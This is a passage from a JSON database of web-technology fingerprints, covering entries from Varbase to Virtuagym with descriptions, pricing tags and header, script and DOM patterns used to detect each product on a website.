\"meta[content='Varbase'],div[class*='varbase_'],div[class*='_varbase'],div[class*='varbase-'],div[class*='block-varbase'],div[class*='blockvarbase']\"\n    ],\n    \"icon\": \"varbase.svg\",\n    \"implies\": [\n      \"Drupal\"\n    ],\n    \"js\": {\n      \"drupalSettings.ajaxPageState.libraries\": \".+varbase_.+\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.vardot.com/solutions/varbase\"\n  },\n  \"Variance\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Variance is a provider of custom charting data graphics tools for web platforms, utilizing HTML and CSS.\",\n    \"dom\": [\n      \"link[href*='variancecharts.com/'], script#variance-js\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://variancecharts.com\"\n  },\n  \"Variti\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Variti is a network security solutions firm that blocks bad bots, protects users from various automated abuse, attacks and fraud techniques.\",\n    \"headers\": {\n      \"X-VARITI-CCR\": \"\"\n    },\n    \"icon\": \"Variti.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://variti.io\"\n  },\n  \"Varnish\": {\n    \"cats\": [\n      23\n    ],\n    \"cpe\": \"cpe:2.3:a:varnish-software:varnish_cache:*:*:*:*:*:*:*:*\",\n    \"description\": \"Varnish is a reverse caching proxy.\",\n    \"headers\": {\n      \"Via\": \"varnish(?: \\\\(Varnish/([\\\\d.]+)\\\\))?\\\\;version:\\\\1\",\n      \"X-Varnish\": \"\",\n      \"X-Varnish-Action\": \"\",\n      \"X-Varnish-Age\": \"\",\n      \"X-Varnish-Cache\": \"\",\n      \"X-Varnish-Hostname\": \"\"\n    },\n    \"icon\": \"Varnish.svg\",\n    \"website\": \"https://www.varnish-cache.org\"\n  },\n  \"Ve Global\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Ve Global, formerly known as Ve Interactive, is a global technology company that provides ecommerce businesses with a managed-service of proprietary marketing software and digital advertising solutions.\",\n    \"icon\": \"Ve Global.svg\",\n    \"js\": {\n      \"veTagData.appsServicesUrl\": \"\\\\.veinteractive\\\\.com\"\n    },\n    \"website\": \"https://ve.com\"\n  },\n  \"Vectary\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Vectary is fully-featured 3D modeling tool with photorealistic real-time rendering, augmented reality, interactions and animations.\",\n    \"dom\": [\n      \"iframe[src*='app.vectary.com/']\"\n    ],\n    \"icon\": \"vectary.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.vectary.com\"\n  },\n  \"Vello\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Vello is an online booking tool that automates business bookings.\",\n    \"icon\": \"Vello.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.vello\\\\.fi/\"\n    ],\n    \"website\": \"https://www.vello.fi\"\n  },\n  \"Vendaecia\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vendaecia is a platform designed for setting up online stores or selling products through various marketplaces, providing tools to manage the entire sales process.\",\n    \"dom\": [\n      \"base[href*='.vendaeciaexpress.com.br']\"\n    ],\n    \"icon\": \"Vendaecia.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vendaecia\\\\.com/\"\n    ],\n    \"website\": \"https://www.vendaecia.com.br\"\n  },\n  \"Vendio\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vendio is an ecommerce software facilitating selling across platforms like eBay, Amazon, and Etsy.\",\n    \"icon\": \"Vendio.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"stores\\\\.vendio\\\\.com\"\n    ],\n    \"website\": \"https://www.vendio.com\"\n  },\n  \"Vendre\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vendre is a module-based ecommerce system where you choose which functions your organisation needs.\",\n    \"icon\": \"Vendre.svg\",\n    \"js\": {\n      \"VendreMap.maps_loaded\": \"\",\n      \"vendre_config\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vendre.io\"\n  },\n  \"Venly\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Venly is a blockchain technology provider creating products to help companies succeed in Web3.\",\n    \"icon\": \"Venly.svg\",\n    \"js\": {\n      \"VenlyConnect\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"^Venly$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.venly.io\"\n  },\n  \"Venmo\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Venmo is a mobile payment service owned by PayPal. Venmo account holders can transfer funds to others via a mobile phone app.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-venmo'], [data-venmo-supported='true']\"\n    ],\n    \"icon\": \"Venmo.svg\",\n    \"website\": \"https://venmo.com\"\n  },\n  \"VentasxMayor\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"VentasxMayor is an ecommerce platform designed for wholesalers, brands, distributors, and importers to streamline and increase wholesale sales.\",\n    \"icon\": \"VentasxMayor.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"bunny-cdn\\\\.ventasxmayor\\\\.com/\"\n    ],\n    \"website\": \"https://ventasxmayor.com\"\n  },\n  \"VentraIP\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"VentraIP is the largest privately owned web host and domain name registrar in Australia.\",\n    \"dns\": {\n      \"NS\": \"\\\\.(?:nameserver|hostingplatform)\\\\.net\\\\.au\",\n      \"SOA\": \"\\\\.(?:nameserver|hostingplatform)\\\\.net\\\\.au\"\n    },\n    \"icon\": \"VentraIP.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://ventraip.com.au\"\n  },\n  \"Ventrata\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Ventrata is a booking platform designed for high volume tours and attractions, offering all-in-one ticketing systems.\",\n    \"dom\": [\n      \"script#ventratajs-js\"\n    ],\n    \"icon\": \"Ventrata.svg\",\n    \"js\": {\n      \"Ventrata.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ventrata.com\"\n  },\n  \"VentryShield\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"ventryshield_pre\": \"\"\n    },\n    \"description\": \"VentryShield offers DDoS Protected VPS and Web Hosting.\",\n    \"headers\": {\n      \"x-ventryshield-cache-status\": \"no-cache\",\n      \"x-ventryshield-sid\": \"\"\n    },\n    \"icon\": \"ventry_shield.png\",\n    \"website\": \"https://ventryshield.net\"\n  },\n  \"Venyoo\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Venyoo is a live and robot chat widget designed to facilitate communication.\",\n    \"icon\": \"Venyoo.svg\",\n    \"js\": {\n      \"venyooProxyScript\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.venyoo\\\\.ru/\"\n    ],\n    \"website\": \"https://venew.io\"\n  },\n  \"Veonr\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Veonr is an analytics and tracking suite designed for business websites, offering tools to monitor site activities and optimize conversions.\",\n    \"icon\": \"Veonr.svg\",\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\.fsb\\\\.veonr\\\\.com\"\n    ],\n    \"website\": \"https://veonr.com\"\n  },\n  \"Veoxa\": {\n    \"cats\": [\n      36\n    ],\n    \"html\": [\n      \"<img [^>]*src=\\\"[^\\\"]+tracking\\\\.veoxa\\\\.com\"\n    ],\n    \"icon\": \"Veoxa.png\",\n    \"js\": {\n      \"VuVeoxaContent\": \"\"\n    },\n    \"scriptSrc\": [\n      \"tracking\\\\.veoxa\\\\.com\"\n    ],\n    \"website\": \"https://veoxa.com\"\n  },\n  \"Vepaar\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Vepaar is a software solution designed to help boost online businesses, providing features such as WhatsApp CRM, an online store, and a WhatsApp poll.\",\n    \"icon\": \"Vepaar.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.vepaar\\\\.com/\"\n    ],\n    \"website\": \"https://vepaar.com\"\n  },\n  \"Vercel\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Vercel is a cloud platform for static frontends and serverless functions.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.vercel-dns\\\\.com\"\n    },\n    \"headers\": {\n      \"server\": \"^now|Vercel$\",\n      \"x-now-trace\": \"\",\n      \"x-vercel-cache\": \"\",\n      \"x-vercel-id\": \"\"\n    },\n    \"icon\": \"vercel.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://vercel.com\"\n  },\n  \"Vercel Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"vercel.svg\",\n    \"js\": {\n      \"va\": \"\"\n    },\n    \"requires\": [\n      \"Vercel\"\n    ],\n    \"scriptSrc\": [\n      \"/va/script\\\\.js\",\n      \"/_vercel/insights/script\\\\.js\"\n    ],\n    \"website\": \"https://vercel.com/analytics\"\n  },\n  \"Vergic\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Vergic is a platform facilitating real-time online engagement between site owners, customer service agents, and individual customers, prospects, or visitors.\",\n    \"icon\": \"Vergic.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"us-content\\\\.vergic\\\\.com/\"\n    ],\n    \"website\": \"https://www.vergic.com\"\n  },\n  \"Verifone 2Checkout\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Verifone is an American multinational corporation headquartered in Coral Springs, Florida, that provides technology for electronic payment transactions and value-added services at the point-of-sale.\",\n    \"dom\": {\n      \"#order__processedby\": {\n        \"text\": \"2Checkout\"\n      },\n      \"link[href*='.2checkout.com']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"Verifone.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"2checkout\\\\.com\"\n    ],\n    \"website\": \"https://www.2checkout.com\"\n  },\n  \"VerifyPass\": {\n    \"cats\": [\n      5,\n      76\n    ],\n    \"description\": \"VerifyPass is a company which provide secure identity proofing, authentication, and group affiliation verification for teachers and students.\",\n    \"icon\": \"VerifyPass.svg\",\n    \"js\": {\n      \"verifypass_api_instantiator\": \"\",\n      \"verifypass_is_loaded\": \"\",\n      \"verifypass_popup\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.id\\\\.services\",\n      \"cdn\\\\.verifypass\\\\.com\"\n    ],\n    \"website\": \"https://verifypass.com\"\n  },\n  \"Verisign\": {\n    \"cats\": [\n      109\n    ],\n    \"description\": \"Verisign is a provider of internet infrastructure services, known for its secure domain name registry.\",\n    \"icon\": \"Verisign.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"seal\\\\.verisign\\\\.com/\"\n    ],\n    \"website\": \"https://www.verisign.com\"\n  },\n  \"Verizon Media\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Verizon Media is a tech and media company with global assets for advertisers, consumers and media companies.\",\n    \"dom\": {\n      \"img[src*='pixel.advertising.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Verizon Media.svg\",\n    \"scriptSrc\": [\n      \"\\\\.advertising\\\\.com\",\n      \"\\\\.vidible\\\\.tv/\"\n    ],\n    \"website\": \"https://www.verizonmedia.com\"\n  },\n  \"Verloop\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Verloop is a customer support and engagement platform that focuses on automating interactions with customers through AI-powered chatbots and conversational interfaces.\",\n    \"icon\": \"Verloop.svg\",\n    \"js\": {\n      \"Verloop\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://verloop.io/\"\n  },\n  \"Vero\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Vero is a tool that tracks user actions and targets emails, allowing you to send more personalised emails to customers based on their behaviour.\",\n    \"icon\": \"Vero.svg\",\n    \"js\": {\n      \"__vero\": \"\",\n      \"_veroq\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getvero.com/\"\n  },\n  \"Versa Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Versa Commerce is an online shop and point of sale (POS) system from Germany.\",\n    \"dom\": [\n      \"link[href*='.versacommerce.de/']\"\n    ],\n    \"icon\": \"VersaCommerce.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.versacommerce\\\\.de/\"\n    ],\n    \"website\": \"https://www.versacommerce.de\"\n  },\n  \"VerseOne\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"VerseOne is a provider of Content Management Systems (CMS) for the healthcare and housing sectors.\",\n    \"icon\": \"VerseOne.svg\",\n    \"meta\": {\n      \"author\": \"^Intranet VerseOne$\",\n      \"generator\": \"VerseOne (?:ECM|CMS) v([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.verseone.com\"\n  },\n  \"Vertex\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Vertex is a responsive and simple theme mostly for portfolio websites or photography and blog sites powered by DessignThemes.\",\n    \"meta\": {\n      \"generator\": \"Vertex v\\\\.([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/themes/Vertex/js/\"\n    ],\n    \"website\": \"https://dessign.net/vertex-theme/\"\n  },\n  \"VerticalScope\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"VerticalScope is a Canadian-based technology company that owns and operates a network of online communities and discussion forums focused on a variety of interests and hobbies, such as cars, pets, sports, and technology. VerticalScope generates revenue primarily through advertising, including banner ads, sponsored content, and affiliate marketing.\",\n    \"dom\": {\n      \"footer > div\": {\n        \"text\": \"VerticalScope Inc\\\\.\"\n      }\n    },\n    \"icon\": \"VerticalScope.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.verticalscope.com\"\n  },\n  \"Very Good Security\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Very Good Security (VGS) is a data security and compliance platform that enables developers to securely handle sensitive data by encrypting, tokenising, and transmitting it through an intermediary service.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.verygoodvault\\\\.com\"\n    },\n    \"icon\": \"Very Good Security.svg\",\n    \"js\": {\n      \"VGSCollect\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.verygoodvault\\\\.com/\"\n    ],\n    \"website\": \"https://www.verygoodsecurity.com\"\n  },\n  \"Vestico\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Vestico is a digital asset management platform for organizing, managing, and distributing digital content.\",\n    \"icon\": \"Vestico.svg\",\n    \"js\": {\n      \"vesticoReportingDisabled\": \"\",\n      \"webpackChunk_vestico_widget\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vestico.co\"\n  },\n  \"Vev\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Vev is a cloud-based design and publishing platform that enables users to create interactive digital content without coding, using a drag-and-drop interface and built-in templates and integrations.\",\n    \"icon\": \"Vev.svg\",\n    \"js\": {\n      \"vev.App.compare\": \"\",\n      \"vev.DEFAULT_APP_STATE\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vev\\\\.design/\"\n    ],\n    \"website\": \"https://www.vev.design\"\n  },\n  \"Vextras\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vextras is a platform that aids online retailers in increasing sales, providing customer support, and automating various tasks.\",\n    \"icon\": \"Vextras.svg\",\n    \"js\": {\n      \"vextras\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vextras\\\\.com/\"\n    ],\n    \"website\": \"https://www.vextras.com\"\n  },\n  \"Vfinder\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vfinder is a platform where users can sell and display coordinated items and recommended items simultaneously.\",\n    \"icon\": \"Vfinder.svg\",\n    \"js\": {\n      \"VfinderGetCookie\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^(https?:)?//vfinder\\\\.io/js/viewfinder\\\\.js\"\n    ],\n    \"website\": \"https://vfinder.io\"\n  },\n  \"ViaBill\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"ViaBill is a cloud-based payment management solution designed to help small to midsize retailers and webshops.\",\n    \"icon\": \"ViaBill.svg\",\n    \"js\": {\n      \"viabillOptions.state.subscriptions\": \"\",\n      \"viabillPricetagInternal.conf.productsByLocale\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.viabill\\\\.com/\"\n    ],\n    \"website\": \"https://viabill.com\"\n  },\n  \"ViaSay\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"ViaSay is a conversational AI tool that facilitates the creation of customised automated processes, enhancing the efficiency and speed of customer service.\",\n    \"icon\": \"ViaSay.svg\",\n    \"js\": {\n      \"mindsayJsonP\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"http://www.viasay.io\"\n  },\n  \"Viafoura\": {\n    \"cats\": [\n      86\n    ],\n    \"description\": \"Viafoura is an audience engagement and social monetisation platform.\",\n    \"icon\": \"viafoura.svg\",\n    \"js\": {\n      \"dfm_viafoura_options\": \"\",\n      \"viafoura.bootstrap\": \"\",\n      \"viafoura.core\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://viafoura.com\"\n  },\n  \"Vicomi\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Vicomi is a tool that provides insights into audience reactions to content.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets-prod\\\\.vicomi\\\\.com/\"\n    ],\n    \"website\": \"https://www.vicomi.com/emotion-analytics-for-brands-and-agencies\"\n  },\n  \"Vidazoo\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Vidazoo is a video content and yield management platform.\",\n    \"icon\": \"Vidazoo.svg\",\n    \"js\": {\n      \"__vidazooPlayer__\": \"\",\n      \"vidazoo\": \"\",\n      \"vidazoo.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vidazoo\\\\.com\"\n    ],\n    \"website\": \"https://www.vidazoo.com\"\n  },\n  \"Video Greet\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Video Greet lets your customers add a video message to gifts with QR codes.\",\n    \"icon\": \"Video Greet.svg\",\n    \"js\": {\n      \"__vg.video_greet_button_src\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"website\": \"https://apps.shopify.com/videogreet-gift-messages\"\n  },\n  \"VideoJS\": {\n    \"cats\": [\n      14\n    ],\n    \"css\": [\n      \"\\\\.video-js\\\\;confidence:25\",\n      \"\\\\.vjs-big-play-button\\\\;confidence:75\"\n    ],\n    \"description\": \"Video.js is a JavaScript and CSS library that makes it easier to work with and build on HTML5 video.\",\n    \"dom\": [\n      \"div.video-js\"\n    ],\n    \"icon\": \"VideoJS.svg\",\n    \"js\": {\n      \"VideoJS\": \"\",\n      \"videojs\": \"\",\n      \"videojs.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"zencdn\\\\.net/c/video\\\\.js\",\n      \"cdnjs\\\\.cloudflare\\\\.com\\\\/ajax\\\\/libs\\\\/video\\\\.js\\\\/([\\\\d\\\\.]+)\\\\/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://videojs.com\"\n  },\n  \"VideoPal\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"VideoPal is an avatar widget that functions as a help system, providing interactive assistance directly within the user interface.\",\n    \"icon\": \"VideoPal.svg\",\n    \"js\": {\n      \"VideoPalEmbed\": \"\",\n      \"VpPlayer\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.videopal.io/go/\"\n  },\n  \"Videoly\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Videoly is a tool that automatically integrates relevant product video reviews from YouTube into online shops.\",\n    \"icon\": \"Videoly.svg\",\n    \"js\": {\n      \"VideolyWidget\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.videoly\\\\.co/\"\n    ],\n    \"website\": \"https://videoly.co\"\n  },\n  \"Vidjet\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Vidjet is a shoppable-video platform designed for modern ecommerce stores, allowing videos to be embedded on websites and triggered based on visitor actions.\",\n    \"icon\": \"Vidjet.svg\",\n    \"js\": {\n      \"Vidjet.init\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app-api\\\\.vidjet\\\\.io\"\n    ],\n    \"website\": \"https://www.vidjet.com\"\n  },\n  \"Vidora\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Vidora is a real-time machine learning platform which focuses on consumer data.\",\n    \"icon\": \"Vidora.svg\",\n    \"js\": {\n      \"vidora\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vidora\\\\.com/\"\n    ],\n    \"website\": \"https://www.vidora.com\"\n  },\n  \"Vigbo\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"_gphw_mode\": \"\"\n    },\n    \"description\": \"Vigbo is a platform for building and managing websites and web applications with a focus on user-friendly design and minimal coding.\",\n    \"dom\": [\n      \"link[href*='.vigbo.com'], link[href*='.gophotoweb.com']\"\n    ],\n    \"html\": [\n      \"<link[^>]* href=[^>]+(?:\\\\.vigbo\\\\.com|\\\\.gophotoweb\\\\.com)\"\n    ],\n    \"icon\": \"vigbo.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.(?:vigbo|gophotoweb)\\\\.com/\"\n    ],\n    \"website\": \"https://vigbo.com\"\n  },\n  \"Vigil\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Vigil is a microservices status page. Monitors a distributed infrastructure and sends alerts (Slack, SMS, etc.).\",\n    \"dom\": {\n      \"p > a[href*='github.com/valeriansaliou/vigil']\": {\n        \"text\": \"^Vigil$\"\n      }\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"Rust\",\n      \"Docker\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/valeriansaliou/vigil\"\n  },\n  \"Vignette\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<[^>]+=\\\"vgn-?ext\"\n    ],\n    \"icon\": \"Vignette.png\",\n    \"website\": \"https://www.vignette.com\"\n  },\n  \"Vike\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Vike is a framework that enhances Vite applications with server-side rendering (SSR) and static site generation (SSG) capabilities, allowing for flexible integration and progressive enhancement​.\",\n    \"dom\": [\n      \"script#vike_pageContext\"\n    ],\n    \"icon\": \"Vike.svg\",\n    \"implies\": [\n      \"Vite\",\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"__vike\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://vike.dev\"\n  },\n  \"Vimeo\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Vimeo is a video hosting, sharing and services platform. Vimeo operation an ad-free basis by providing subscription plans.\",\n    \"dom\": [\n      \"iframe[src*='vimeo.com'],embed[src*='vimeo.com']\"\n    ],\n    \"icon\": \"Vimeo.svg\",\n    \"js\": {\n      \"Vimeo.Player\": \"\",\n      \"VimeoPlayer\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://vimeo.com\"\n  },\n  \"Vimeo OTT\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Vimeo OTT allows brands and creators to launch their own white-label video subscription channels, where subscribers can access video content for free, as a rental, or for purchase.\",\n    \"icon\": \"Vimeo.svg\",\n    \"implies\": [\n      \"Vimeo\"\n    ],\n    \"js\": {\n      \"VHX.config\": \"\",\n      \"_vhx\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vimeo.com/ott\",\n    \"xhr\": [\n      \"api\\\\.vhx\\\\.tv\"\n    ]\n  },\n  \"Vincere\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Vincere is an all-in-one software for recruitment agencies.\",\n    \"dom\": [\n      \"link[href*='static.vincere-digital.io/']\"\n    ],\n    \"icon\": \"Vincere.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vincere.io\"\n  },\n  \"Vintcer\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Vintcer is a drag-and-drop website builder that includes a built-in page manager, hosting, and email services.\",\n    \"icon\": \"Vintcer.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vintcer\\\\.com/\"\n    ],\n    \"website\": \"https://vintcer.com\"\n  },\n  \"Vioma\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Vioma is an online marketing system.\",\n    \"dom\": [\n      \"link[href*='.viomassl.com']\"\n    ],\n    \"icon\": \"Vioma.svg\",\n    \"js\": {\n      \"viomaManipulate\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vioma.de\"\n  },\n  \"Viqeo\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Viqeo is a short video platform to make media and ecommerce more visual and interesting.\",\n    \"icon\": \"Viqeo.svg\",\n    \"js\": {\n      \"VIQEO\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://viqeo.tv\"\n  },\n  \"Viral Loops\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Viral Loops is a viral and referral marketing platform to launch ranking competitions, sweepstakes, pre-launch and referral programs.\",\n    \"dom\": [\n      \"link[href*='wp-content/plugins/viral-loops-wp-integration/assets/']\"\n    ],\n    \"icon\": \"Viral Loops.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.viral-loops\\\\.com/\"\n    ],\n    \"website\": \"https://viral-loops.com\"\n  },\n  \"Virgool\": {\n    \"cats\": [\n      11\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^Virgool$\"\n    },\n    \"icon\": \"Virgool.svg\",\n    \"url\": [\n      \"^https?://(?:www\\\\.)?virgool\\\\.io\"\n    ],\n    \"website\": \"https://virgool.io\"\n  },\n  \"Virtooal\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Virtooal allows shoppers to try on and combine decorative cosmetics, sunglasses, contact lenses, jewellery and fashion accessories using models, their own photo or a live webcam feed.\",\n    \"icon\": \"Virtooal.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.virtooal\\\\.com/\"\n    ],\n    \"website\": \"https://try.virtooal.com\"\n  },\n  \"Virtuagym\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Virtuagym is a cloud-based membership management and coaching platform designed for personal trainers and fitness businesses of all sizes.\",\n    \"dom\": [\n      \"a[href*='.virtuagym.com'][target='_blank'], iframe[src*='.virtuagym.com/']\"\n    ],\n    \"icon\": \"Virtuagym.svg\",\n    \"js\": {\n      \"VGTutorial\": \"\",\n      \"open_vg_custom_modal\": \"\",\n      \"trigger_vg_neutral_message\": 